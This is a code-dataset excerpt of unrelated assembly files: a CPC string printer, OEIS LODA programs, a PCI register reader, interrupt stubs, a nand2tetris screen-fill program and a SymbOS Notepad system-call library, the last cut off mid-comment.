hexsha stringlengths 40 40 | size int64 6 1.05M | ext stringclasses 3 values | lang stringclasses 1 value | max_stars_repo_path stringlengths 4 232 | max_stars_repo_name stringlengths 7 106 | max_stars_repo_head_hexsha stringlengths 40 40 | max_stars_repo_licenses listlengths 1 7 | max_stars_count int64 1 33.5k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 4 232 | max_issues_repo_name stringlengths 7 106 | max_issues_repo_head_hexsha stringlengths 40 40 | max_issues_repo_licenses listlengths 1 7 | max_issues_count int64 1 37.5k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 4 232 | max_forks_repo_name stringlengths 7 106 | max_forks_repo_head_hexsha stringlengths 40 40 | max_forks_repo_licenses listlengths 1 7 | max_forks_count int64 1 12.6k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 6 1.05M | avg_line_length float64 1.16 19.7k | max_line_length int64 2 938k | alphanum_fraction float64 0 1 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
a2f8adadf9d1eb8ad992d4e8f3b91a1b7d6967bb | 794 | asm | Assembly | libsrc/cpc/cpc_PrintStr.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/cpc/cpc_PrintStr.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/cpc/cpc_PrintStr.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z | ;
; Amstrad CPC library
; ******************************************************
; ** Librería de rutinas para Amstrad CPC **
; ** Raúl Simarro, Artaburu 2009 **
; ******************************************************
;
; $Id: cpc_PrintStr.asm $
;
SECTION code_clib
PUBLIC cpc_PrintStr
PUBLIC _cpc_PrintStr
EXTERN firmware
INCLUDE "target/cpc/def/cpcfirm.def"
.cpc_PrintStr
._cpc_PrintStr
.bucle_imp_cadena
ld a,(hl)
or a ; cp 0
jr z,salir_bucle_imp_cadena
call firmware
defw txt_output
inc hl
jr bucle_imp_cadena
.salir_bucle_imp_cadena
ld a,$0d ; para terminar hace un salto de línea
call firmware
defw txt_output
ld a,$0a
call firmware
defw txt_output
ret
| 19.365854 | 58 | 0.537783 |
1e94e9c34f9c8acccc0666e3098392e2c16b04bb | 1,687 | asm | Assembly | programs/oeis/024/A024920.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/024/A024920.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/024/A024920.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A024920: a(n) = Sum_{k=1..n} (n-k) * floor(n/k).
; 0,2,7,17,29,51,71,104,138,183,220,293,340,409,486,580,646,767,843,981,1099,1221,1317,1525,1653,1802,1961,2168,2297,2568,2709,2951,3154,3359,3578,3942,4118,4352,4598,4978,5176,5576,5786,6136,6504,6798,7030,7574,7862,8270,8609,9034,9303,9834,10209,10768,11155,11540,11845,12646,12967,13382,13923,14517,14973,15641,15999,16575,17055,17775,18157,19140,19538,20048,20706,21360,21916,22720,23154,24126,24778,25353,25812,26975,27598,28205,28832,29759,30258,31517,32194,33007,33686,34357,35060,36407,36962,37840,38745,39901,40483,41567,42161,43277,44427,45199,45819,47351,47987,49181,50011,51425,52089,53315,54193,55245,56337,57207,58121,60267,61099,62006,62939,64072,65035,66858,67619,69025,70010,71447,72234,74141,75184,76191,77710,79215,80046,81559,82402,84453,85544,86619,87750,90238,91384,92496,93904,95286,96200,98396,99326,101024,102498,104238,105470,107758,108734,109948,111194,113566,114860,116963,117981,119529,121425,122709,123751,126837,128055,129988,131659,133294,134383,136334,138063,140384,141795,143184,144313,147960,149111,151204,152669,154766,156271,158372,159909,161710,163917,166100,167321,170534,171773,173304,175581,178007,179273,182253,183535,186556,188186,189790,191468,194522,196212,197850,199910,202692,204434,208368,209744,211806,213544,215254,217032,221074,222888,224636,226426,229776,231634,234184,235644,239068,241942,243765,245256,248699,250206,252895,255648,258351,259888,263457,265428,267747,269704,272509,274088,279487,281090,283508,285973,288380,290891,293744,295849,298754,300823,303768
mov $2,$0
add $0,2
lpb $2
sub $0,1
add $3,1
mov $4,$0
lpb $4
add $1,$2
trn $4,$3
lpe
sub $2,1
lpe
| 105.4375 | 1,516 | 0.79668 |
e006a2c19a4e09eacc77167975ee5894bef80753 | 440 | asm | Assembly | programs/oeis/219/A219113.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/219/A219113.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/219/A219113.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A219113: Sequence of integers which are simultaneously a sum of consecutive squares and a difference of consecutive cubes.
; 1,61,5941,582121,57041881,5589522181,547716131821,53670591396241,5259170240699761,515345012997180301,50498552103482969701,4948342761128333850361,484887092038473234365641,47513986677009248633982421,4655885807254867892895911581
seq $0,138288 ; a(n) = A054320(n) - A001078(n).
pow $0,2
div $0,80
mul $0,60
add $0,1
| 48.888889 | 227 | 0.827273 |
9e3de25c1a3ec7764ae4a8aa7ca8b64799252a28 | 186 | asm | Assembly | mc-sema/validator/x86/tests/RCL16r1.asm | randolphwong/mcsema | eb5b376736e7f57ff0a61f7e4e5a436bbb874720 | [
"BSD-3-Clause"
] | 2 | 2021-08-07T16:21:29.000Z | 2021-11-17T10:58:37.000Z | mc-sema/validator/x86/tests/RCL16r1.asm | randolphwong/mcsema | eb5b376736e7f57ff0a61f7e4e5a436bbb874720 | [
"BSD-3-Clause"
] | null | null | null | mc-sema/validator/x86/tests/RCL16r1.asm | randolphwong/mcsema | eb5b376736e7f57ff0a61f7e4e5a436bbb874720 | [
"BSD-3-Clause"
] | null | null | null | BITS 32
;TEST_FILE_META_BEGIN
;TEST_TYPE=TEST_F
;TEST_IGNOREFLAGS=
;TEST_FILE_META_END
; RCL16r1
mov dx, 0x414
;TEST_BEGIN_RECORDING
rcl dx, 0x1
;TEST_END_RECORDING
| 15.5 | 25 | 0.741935 |
2ef21f3e8fbdc2d26937efc9cbb2045d20d4c991 | 1,335 | asm | Assembly | programs/oeis/234/A234041.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/234/A234041.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/234/A234041.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A234041: a(n) = binomial(n+2,2)*gcd(n,3)/3, n >= 0.
; 1,1,2,10,5,7,28,12,15,55,22,26,91,35,40,136,51,57,190,70,77,253,92,100,325,117,126,406,145,155,496,176,187,595,210,222,703,247,260,820,287,301,946,330,345,1081,376,392,1225,425,442,1378,477,495,1540,532,551,1711,590,610,1891,651,672,2080,715,737,2278,782,805,2485,852,876,2701,925,950,2926,1001,1027,3160,1080,1107,3403,1162,1190,3655,1247,1276,3916,1335,1365,4186,1426,1457,4465,1520,1552,4753,1617,1650,5050,1717,1751,5356,1820,1855,5671,1926,1962,5995,2035,2072,6328,2147,2185,6670,2262,2301,7021,2380,2420,7381,2501,2542,7750,2625,2667,8128,2752,2795,8515,2882,2926,8911,3015,3060,9316,3151,3197,9730,3290,3337,10153,3432,3480,10585,3577,3626,11026,3725,3775,11476,3876,3927,11935,4030,4082,12403,4187,4240,12880,4347,4401,13366,4510,4565,13861,4676,4732,14365,4845,4902,14878,5017,5075,15400,5192,5251,15931,5370,5430,16471,5551,5612,17020,5735,5797,17578,5922,5985,18145,6112,6176,18721,6305,6370,19306,6501,6567,19900,6700,6767,20503,6902,6970,21115,7107,7176,21736,7315,7385,22366,7526,7597,23005,7740,7812,23653,7957,8030,24310,8177,8251,24976,8400,8475,25651,8626,8702,26335,8855,8932,27028,9087,9165,27730,9322,9401,28441,9560,9640,29161,9801,9882,29890,10045,10127,30628,10292,10375,31375
mov $2,3
gcd $2,$0
add $0,1
mul $2,$0
mul $0,$2
mov $1,$0
add $1,$2
div $1,6
| 111.25 | 1,202 | 0.763296 |
fb62b9b5f425354fd617bc21d8bb5b720a7f80cb | 349 | asm | Assembly | programs/oeis/117/A117647.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/117/A117647.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/117/A117647.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A117647: a(2n) = A014445(n), a(2n+1) = A015448(n+1).
; 0,1,2,5,8,21,34,89,144,377,610,1597,2584,6765,10946,28657,46368,121393,196418,514229,832040,2178309,3524578,9227465,14930352,39088169,63245986,165580141,267914296,701408733
add $0,1
mul $0,6
div $0,4
sub $0,1
seq $0,45 ; Fibonacci numbers: F(n) = F(n-1) + F(n-2) with F(0) = 0 and F(1) = 1.
| 38.777778 | 174 | 0.679083 |
8bdf5a2b568efec9feb8539579610515c517583e | 2,084 | asm | Assembly | src/x86-64/loader/pci.asm | redteamcaliber/BareMetal-kernel | e7293701a914b1bf6b6021a9afd97f8cb8b9fecf | [
"BSD-2-Clause"
] | 1 | 2021-05-08T04:01:03.000Z | 2021-05-08T04:01:03.000Z | src/x86-64/loader/pci.asm | redteamcaliber/BareMetal-kernel | e7293701a914b1bf6b6021a9afd97f8cb8b9fecf | [
"BSD-2-Clause"
] | null | null | null | src/x86-64/loader/pci.asm | redteamcaliber/BareMetal-kernel | e7293701a914b1bf6b6021a9afd97f8cb8b9fecf | [
"BSD-2-Clause"
] | null | null | null | ; =============================================================================
; Pure64 -- a 64-bit OS loader written in Assembly for x86-64 systems
; Copyright (C) 2008-2016 Return Infinity -- see LICENSE.TXT
;
; PCI Functions. http://wiki.osdev.org/PCI
; =============================================================================
; -----------------------------------------------------------------------------
; os_pci_read_reg -- Read a register from a PCI device
; IN: BL = Bus number
; CL = Device/Function number
; DL = Register number
; OUT: EAX = Register information
; All other registers preserved
; Data form is binary 10000000 bbbbbbbb dddddfff rrrrrr00
os_pci_read_reg:
push rdx
push rcx
push rbx
shl ebx, 16 ; Move Bus to bits 23 - 16
shl ecx, 8 ; Move Device/Function to bits 15 - 8
mov bx, cx
shl edx, 2 ; Move Register to bits 7 - 2
mov bl, dl
and ebx, 0x00ffffff ; Clear bits 31 - 24
or ebx, 0x80000000 ; Set bit 31
mov eax, ebx
mov dx, PCI_CONFIG_ADDRESS
out dx, eax
mov dx, PCI_CONFIG_DATA
in eax, dx
pop rbx
pop rcx
pop rdx
ret
; -----------------------------------------------------------------------------
;Configuration Mechanism One has two IO port rages associated with it.
;The address port (0xcf8-0xcfb) and the data port (0xcfc-0xcff).
;A configuration cycle consists of writing to the address port to specify which device and register you want to access and then reading or writing the data to the data port.
PCI_CONFIG_ADDRESS EQU 0x0CF8
PCI_CONFIG_DATA EQU 0x0CFC
;ddress dd 10000000000000000000000000000000b
; /\ /\ /\ /\ /\ /\
; E Res Bus Dev F Reg 0
; Bits
; 31 Enable bit = set to 1
; 30 - 24 Reserved = set to 0
; 23 - 16 Bus number = 256 options
; 15 - 11 Device/Slot number = 32 options
; 10 - 8 Function number = will leave at 0 (8 options)
; 7 - 2 Register number = will leave at 0 (64 options) 64 x 4 bytes = 256 bytes worth of accessible registers
; 1 - 0 Set to 0
; =============================================================================
; EOF
| 33.079365 | 173 | 0.56094 |
1754fa03aa24ebc9954a2952a2df217983435712 | 831 | asm | Assembly | kernel/system/system.asm | DamieFC/cozen | 8b87967cb52a15ea154746d59503f9a77f7cdf4f | [
"BSD-3-Clause"
] | 2 | 2021-03-22T19:06:17.000Z | 2021-03-22T22:48:01.000Z | kernel/system/system.asm | DamieFC/cozen | 8b87967cb52a15ea154746d59503f9a77f7cdf4f | [
"BSD-3-Clause"
] | null | null | null | kernel/system/system.asm | DamieFC/cozen | 8b87967cb52a15ea154746d59503f9a77f7cdf4f | [
"BSD-3-Clause"
] | null | null | null | bits 64
section .text
global isr
global isr_irq_master
global isr_irq_slave
global pit_handler
global keyboard_handler
extern PIT_add_ticks
extern Keyboard_main
%macro pushaq 0
push rax
push rbx
push rcx
push rdx
push rbp
push rdi
push rsi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
%endmacro
%macro popaq 0
pop r15
pop r14
pop r13
pop r12
pop r11
pop r10
pop r9
pop r8
pop rsi
pop rdi
pop rbp
pop rdx
pop rcx
pop rbx
pop rax
%endmacro
isr:
isr_irq_master:
mov al, 0x20
out 0x20, al
iretq
isr_irq_slave:
mov al, 0x20
out 0xa0, al
out 0x20, al
iretq
pit_handler:
pushaq
call PIT_add_ticks
popaq
iretq
keyboard_handler:
pushaq
cld
call Keyboard_main
popaq
iretq
| 11.383562 | 23 | 0.665463 |
9d7991bf3de6dc9dda81e65f5790309990a6ae30 | 867 | asm | Assembly | projects/04/Fill.asm | jmaver-plume/nand2tetris | e802c815301278ab12c6c733830a49285a0f3b04 | [
"MIT"
] | null | null | null | projects/04/Fill.asm | jmaver-plume/nand2tetris | e802c815301278ab12c6c733830a49285a0f3b04 | [
"MIT"
] | null | null | null | projects/04/Fill.asm | jmaver-plume/nand2tetris | e802c815301278ab12c6c733830a49285a0f3b04 | [
"MIT"
] | null | null | null | // Loop Counter
@R0
M=0
(KEYBOARD_LOOP)
@KBD
D=M
@R0
M=0
@SET_WHITE_LOOP
D;JEQ
@SET_BLACK_LOOP
D;JNE
(NEXT)
@GET_NEXT
0;JMP
(RECEIVE_NEXT)
// If zero stop
@END
D;JLT
@SET_NEXT
0;JMP
(SET_NEXT_COMPLETE)
@R2
D=M
@R1
A=M
M=D
@R0
M=M+1
@NEXT
0;JMP
(SET_NEXT)
@R1
M=D
@SCREEN
D=A
@R1
M=M+D
@SET_NEXT_COMPLETE
0;JMP
(GET_NEXT)
@8191
D=A
@R0
D=D-M
@RECEIVE_NEXT
0;JMP
(SET_WHITE_LOOP)
@R2
M=0
D=M
@NEXT
0;JMP
(SET_BLACK_LOOP)
@R2
M=-1
D=M
@NEXT
0;JMP
(END)
@KEYBOARD_LOOP
0;JMP
| 10.974684 | 31 | 0.377163 |
8cf35f30aa128c8ec69e8270eb0db17f53742d08 | 2,417 | asm | Assembly | programs/oeis/085/A085540.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/085/A085540.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/085/A085540.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A085540: a(n) = n*(n+1)^3.
; 0,8,54,192,500,1080,2058,3584,5832,9000,13310,19008,26364,35672,47250,61440,78608,99144,123462,152000,185220,223608,267674,317952,375000,439400,511758,592704,682892,783000,893730,1015808,1149984,1297032,1457750,1632960,1823508,2030264,2254122,2496000,2756840,3037608,3339294,3662912,4009500,4380120,4775858,5197824,5647152,6125000,6632550,7171008,7741604,8345592,8984250,9658880,10370808,11121384,11911982,12744000,13618860,14538008,15502914,16515072,17576000,18687240,19850358,21066944,22338612,23667000,25053770,26500608,28009224,29581352,31218750,32923200,34696508,36540504,38457042,40448000,42515280,44660808,46886534,49194432,51586500,54064760,56631258,59288064,62037272,64881000,67821390,70860608,74000844,77244312,80593250,84049920,87616608,91295624,95089302,99000000,103030100,107182008,111458154,115860992,120393000,125056680,129854558,134789184,139863132,145079000,150439410,155947008,161604464,167414472,173379750,179503040,185787108,192234744,198848762,205632000,212587320,219717608,227025774,234514752,242187500,250047000,258096258,266338304,274776192,283413000,292251830,301295808,310548084,320011832,329690250,339586560,349704008,360045864,370615422,381416000,392450940,403723608,415237394,426995712,439002000,451259720,463772358,476543424,489576452,502875000,516442650,530283008,544399704,558796392,573476750,588444480,603703308,619256984,635109282,651264000,667724960,684496008,701581014,718983872,736708500,754758840,773138858,791852544,810903912,830297000,850035870,870124608,890567324,911368152,932531250,954060800,975961008,998236104,1020890342,1043928000,1067353380,1091170808,1115384634,1139999232,1165019000,1190448360,1216291758,1242553664,1269238572,1296351000,1323895490,1351876608,1380298944,1409167112,1438485750,1468259520,1498493108,1529191224,1560358602,1592000000,1624120200,1656724008,1689816254,1723401792,1757485500,1792072280,1827167058,1862774784,1898900432,1935549000,1972725510,2010435008,2048682564,2087473272,2126812250,2166704640,2207155608,2248170344,2289754062,2331912000,2374649420,2417971608,2461883874,2506391552,2551500000,2597214600,2643540758,2690483904,2738049492,2786243000,2835069930,2884535808,2934646184,2985406632,3036822750,3088900160,3141644508,3195061464,3249156722,3303936000,3359405040,3415569608,3472435494,3530008512,3588294500,3647299320,3707028858,3767489024,3828685752,3890625000
mov $1,$0
add $0,1
pow $0,3
mul $1,$0
| 302.125 | 2,348 | 0.881258 |
fe25d67d60119ed4a7b9a7fbfd6ad992c52d169c | 22,685 | asm | Assembly | tests/integration/SymbOS-notepad/App-Notepad-lib.i.asm | fengjixuchui/sjasmplus | df0fabd2411bf89e23637fce46d273f52dafbe16 | [
"BSD-3-Clause"
] | 220 | 2016-10-22T19:44:39.000Z | 2022-03-29T20:57:04.000Z | tests/integration/SymbOS-notepad/App-Notepad-lib.i.asm | ped7g/sjasmplus | 487635c8057cd5594c372d9b70bc00a3f3a1ecc4 | [
"BSD-3-Clause"
] | 153 | 2018-05-07T10:31:23.000Z | 2022-03-30T04:35:59.000Z | tests/integration/SymbOS-notepad/App-Notepad-lib.i.asm | ped7g/sjasmplus | 487635c8057cd5594c372d9b70bc00a3f3a1ecc4 | [
"BSD-3-Clause"
] | 51 | 2016-05-12T21:27:36.000Z | 2022-03-27T15:16:16.000Z | ;==============================================================================
;### SYSTEM-LIBRARY-ROUTINES ##################################################
;==============================================================================
SyDesktop_WINOPN
;******************************************************************************
;*** Name Window_Open_Command
;*** Input A = Window data record ram bank (0-15)
;*** DE = Window data record address (#C000-#FFFF)
;*** Output A = Window ID (only, if CF=0)
;*** CF = Success status
;*** 0 = OK
;*** 1 = window couldn't be opened, as the maximum number
;*** of windows (32) has been reached
;*** Destroyed BC,DE,HL,IX,IY
;*** Description Opens a new window. Its data record must be placed in the
;*** transfer ram area (between #c000 and #ffff).
;*** For more information about the window data record see the
;*** chapter "desktop manager data records".
;*** For more information about the transfer ram memory types see
;*** the "applications" chapter.
;******************************************************************************
ld b,a
db #dd:ld l,e
db #dd:ld h,d
ld a,(AppPrzN) ;register window for the application process
ld (ix+3),a
ld a,b
ld c,MSC_DSK_WINOPN
call SyDesktop_SendMessage
SyWOpn1 call SyDesktop_WaitMessage
cp MSR_DSK_WOPNER
scf
ret z ;return with set carry flag, if window couldn't be opened
cp MSR_DSK_WOPNOK
jr nz,SyWOpn1 ;different message than "open ok" -> continue waiting
ld a,(iy+4) ;get window ID and return with cleared carry flag
ret
SyDesktop_WINCLS
;******************************************************************************
;*** Name Window_Close_Command
;*** Input A = Window ID
;*** Output -
;*** Destroyed AF,BC,DE,HL,IX,IY
;*** Limitation works always
;*** Description Closes the window. The desktop manager will remove it from the
;*** screen.
;******************************************************************************
ld c,MSC_DSK_WINCLS
jp SyDesktop_SendMessage
SyDesktop_WINDIN
;******************************************************************************
;*** Name Window_Redraw_ContentExtended_Command
;*** Input A = Window ID
;*** E = -1, control ID or negative number of controls
;*** 000 - 239 -> the control with the specified ID will be
;*** redrawed.
;*** 240 - 254 -> redraws -P2 controls, starting from
;*** control P3. As an example, if P2 is -3
;*** (253) and P3 is 5, the controls 5, 6 and 7
;*** will be redrawed.
;*** 255 -> redraws all controls inside the window
;*** content.
;*** - if E is between 240 and 254:
;*** D = ID of the first control, which should be redrawed.
;*** Output -
;*** Destroyed AF,BC,DE,HL,IX,IY
;*** Limitation works always
;*** Description Redraws one, all or a specified number of controls inside the
;*** window content. This command is identical with MSC_DSK_WININH
;*** with the exception, that it always works but with less speed.
;*** For more information see MSC_DSK_WININH.
;******************************************************************************
ld c,MSC_DSK_WINDIN
jp SyDesktop_SendMessage
SyDesktop_WINTIT
;******************************************************************************
;*** Name Window_Redraw_Title_Command
;*** Input A = Window ID
;*** Output -
;*** Destroyed AF,BC,DE,HL,IX,IY
;*** Limitation works only, if window has focus
;*** Description Redraws the title bar of a window. Use this command to update
;*** the screen display, if you changed the text of the window
;*** title.
;******************************************************************************
ld c,MSC_DSK_WINTIT
jp SyDesktop_SendMessage
SyDesktop_WINSTA
;******************************************************************************
;*** Name Window_Redraw_Statusbar_Command
;*** Input A = Window ID
;*** Output -
;*** Destroyed AF,BC,DE,HL,IX,IY
;*** Limitation works only, if window has focus
;*** Description Redraws the status bar of a window. Use this command to update
;*** the screen display, if you changed the text of the status bar.
;******************************************************************************
ld c,MSC_DSK_WINSTA
jp SyDesktop_SendMessage
SyDesktop_WINMAX
;******************************************************************************
;*** Name Window_Size_Maximize_Command
;*** Input A = Window ID
;*** Output -
;*** Destroyed AF,BC,DE,HL,IX,IY
;*** Limitation works only, if the window is minimized or restored
;*** Description Maximizes a window. A maximized window has a special status,
;*** where it can't be moved to another screen position.
;******************************************************************************
ld c,MSC_DSK_WINMAX
jp SyDesktop_SendMessage
SyDesktop_WINMID
;******************************************************************************
;*** Name Window_Size_Restore_Command
;*** Input A = Window ID
;*** Output -
;*** Destroyed AF,BC,DE,HL,IX,IY
;*** Limitation works only, if the window is maximized or minimized
;*** Description Restores the window or the size of the window, if it was
;*** minimized or maximized before.
;******************************************************************************
ld c,MSC_DSK_WINMID
jp SyDesktop_SendMessage
SyDesktop_SendMessage
;******************************************************************************
;*** Input C = Command
;*** A = Window ID
;*** DE,HL = additional parameters
;*** Output -
;*** Destroyed AF,BC,DE,HL,IX,IY
;*** Description Sends a message to the desktop manager, which includes the
;*** window ID and additional parameters
;******************************************************************************
ld iy,AppMsgB
ld (iy+0),c
ld (iy+1),a
ld (iy+2),e
ld (iy+3),d
ld (iy+4),l
ld (iy+5),h
db #dd:ld h,2 ;2 is the number of the desktop manager process
ld a,(AppPrzN)
db #dd:ld l,a
rst #10
ret
EndLib
SyDesktop_WaitMessage
;******************************************************************************
;*** Input -
;*** Output IY = message buffer
;*** A = first byte in the Message buffer (IY+0)
;*** Destroyed AF,BC,DE,HL,IX,IY
;*** Description Sends a message to the desktop manager, which includes the
;*** window ID and additional parameters
;******************************************************************************
ld iy,AppMsgB
SyDWMs1 db #dd:ld h,2 ;2 is the number of the desktop manager process
ld a,(AppPrzN)
db #dd:ld l,a
rst #08 ;wait for a desktop manager message
db #dd:dec l
jr nz,SyDWMs1
ld a,(iy+0)
ret
SySystem_PRGRUN
;******************************************************************************
;*** Name Program_Run_Command
;*** Input HL = File path and name address
;*** A = [Bit0-3] File path and name ram bank (0-15)
;*** [Bit7 ] Flag, if system error message should be
;*** suppressed
;*** Output A = Success status
;*** 0 = OK
;*** 1 = File does not exist
;*** 2 = File is not an executable and its type is not
;*** associated with an application
;*** 3 = Error while loading (see P8 for error code)
;*** 4 = Memory full
;*** - If success status is 0:
;*** L = Application ID
;*** H = Process ID (the applications main process)
;*** - If success status is 3:
;*** L = File manager error code
;*** Destroyed F,BC,DE,IX,IY
;*** Description Loads and starts an application or opens a document with a
;*** known type by loading the associated application first.
;*** If Bit7 of A is not set, the system will open a message box,
;*** if an error occurs during the loading process.
;*** If the operation was successful, you will find the
;*** application ID and the process ID in L and H. If it failed
;*** because of loading problems L contains the file manager
;*** error code.
;******************************************************************************
ld c,MSC_SYS_PRGRUN
call SySystem_SendMessage
SySPRn1 call SySystem_WaitMessage
cp MSR_SYS_PRGRUN
jr nz,SySPRn1
ld a,(AppMsgB+1)
ld hl,(AppMsgB+8)
ret
SySystem_PRGEND
;******************************************************************************
;*** Name Program_End_Command
;*** Input L = Application ID
;*** Output -
;*** Destroyed AF,BC,DE,HL,IX,IY
;*** Description Stops an application and releases all its used system
;*** resources. This command first stops all processes of the
;*** application. After this all open windows will be closed and the
;*** reserved memory will be released.
;*** Please note, that this command can't release memory, stop
;*** processes and timers or close windows, which are not
;*** registered for the application. Such resources first have
;*** to be released by the application itself.
;******************************************************************************
ld c,MSC_SYS_PRGEND
jp SySystem_SendMessage
SySystem_SYSWRN
;******************************************************************************
;*** Name Dialogue_Infobox_Command
;*** Input HL = Content data address (#C000-#FFFF)
;*** A = Content data ram bank (0-15)
;*** B = [Bit0-2] Number of buttons (1-3)
;*** 1 = "OK" button
;*** 2 = "Yes", "No" buttons
;*** 3 = "Yes", "No", "Cancel" buttons
;*** [Bit3-5] Titletext
;*** 0 = default (bit7=[0]"Error!"/[1]"Info")
;*** 1 = "Error!"
;*** 2 = "Info"
;*** 3 = "Warning"
;*** 4 = "Confirmation"
;*** [Bit6 ] Flag, if window should be modal
;*** [Bit7 ] Box type
;*** 0 = default (warning [!] symbol)
;*** 1 = info (own symbol will be used)
;*** DE = Data record of the caller window; the dialogue window
;*** will be the modal window of it, during its open)
;*** Content data 00 1W Address of text line 1
;*** 02 1W 4 * [text line 1 pen] + 2
;*** 04 1W Address of text line 2
;*** 06 1W 4 * [text line 2 pen] + 2
;*** 08 1W Address of text line 3
;*** 10 1W 4 * [text line 3 pen] + 2
;*** - if E[bit7] is 1:
;*** 12 1W Address of symbol (24x24 pixel SymbOS graphic format)
;*** Output A = Result status
;*** 0 -> The infobox is currently used by another
;*** application. It can only be opened once at the
;*** same time, if it's not a pure info message (one
;*** button, not modal). The user should close the other
;*** infobox first before it can be opened again by the
;*** application.
;*** 2 -> The user clicked "OK".
;*** 3 -> The user clicked "Yes".
;*** 4 -> The user clicked "No".
;*** 5 -> The user clicked "Cancel" or the close button.
;*** Destroyed F,BC,DE,HL,IX,IY
;*** Description Opens an info, warning or confirm box and displays three line
;*** of text and up to three click buttons.
;*** If Bit7 of B is set to 1, you can specify an own symbol, which
;*** will be showed left to the text. If this bit is not set, a "!"-
;*** warning symbol will be displayed.
;*** If Bit6 of B is set to 1, the window will be opened as a modal
;*** window, and you will receive a message with its window number
;*** (see MSR_SYS_SYSWRN).
;*** Please note, that the content data must always be placed in the
;*** transfer ram area (#C000-#FFFF). The texts itself and the
;*** optional graphic must always be placed inside a 16K (data ram
;*** area).
;*** As the text line pen, you should choose 1, so 6 would be the
;*** correct value.
;*** For more information about the mentioned memory types (data,
;*** transfer) see the "applications" chapter.
;*** For more information about the SymbOS graphic format see the
;*** "desktop manager data records" chapter.
;******************************************************************************
ld (SySWrnW),de
ld e,b
ld c,MSC_SYS_SYSWRN
push bc
call SySystem_SendMessage
pop af
and 7+64
dec a
ret z
SySWrn1 call SySystem_WaitMessage
cp MSR_SYS_SYSWRN
jr nz,SySWrn1
ld ix,(SySSOpW)
ld (ix+51),0
ld a,(iy+1)
cp 1
ret nz
ld a,(iy+2)
ld (ix+51),a
jr SySWrn1
SySWrnW dw 0
SySystem_SELOPN
;******************************************************************************
;*** Name Dialogue_FileSelector_Command
;*** Input HL = File mask, path and name address (#C000-#FFFF)
;*** 00 3B File extension filter (e.g. "* ")
;*** 03 1B 0
;*** 04 256B path and filename
;*** A = [Bit0-3] File mask, path and name ram bank (0-15)
;*** [Bit6 ] Flag, if "open" (0) or "save" (1) dialogue
;*** [Bit7 ] Flag, if file (0) or directory (1) selection
;*** C = Attribute filter
;*** Bit0 = 1 -> don't show read only files
;*** Bit1 = 1 -> don't show hidden files
;*** Bit2 = 1 -> don't show system files
;*** Bit3 = 1 -> don't show volume ID entries
;*** Bit4 = 1 -> don't show directories
;*** Bit5 = 1 -> don't show archive files
;*** IX = Maximum number of directory entries
;*** IY = Maximum size of directory data buffer
;*** DE = Data record of the caller window; the file selector
;*** window will be a modal window of it, during its open)
;*** Output A = Success status
;*** 0 -> The user choosed a file and closed the dialogue
;*** with "OK". The complete file path and name can be
;*** found in the filepath buffer of the application.
;*** 1 -> The user aborted the file selection. The content
;*** of the applications filepath buffer is unchanged.
;*** 2 -> The file selection dialogue is currently used by
;*** another application. It can only be opened once
;*** at the same time. The user should close the
;*** dialogue first before it can be opened again by
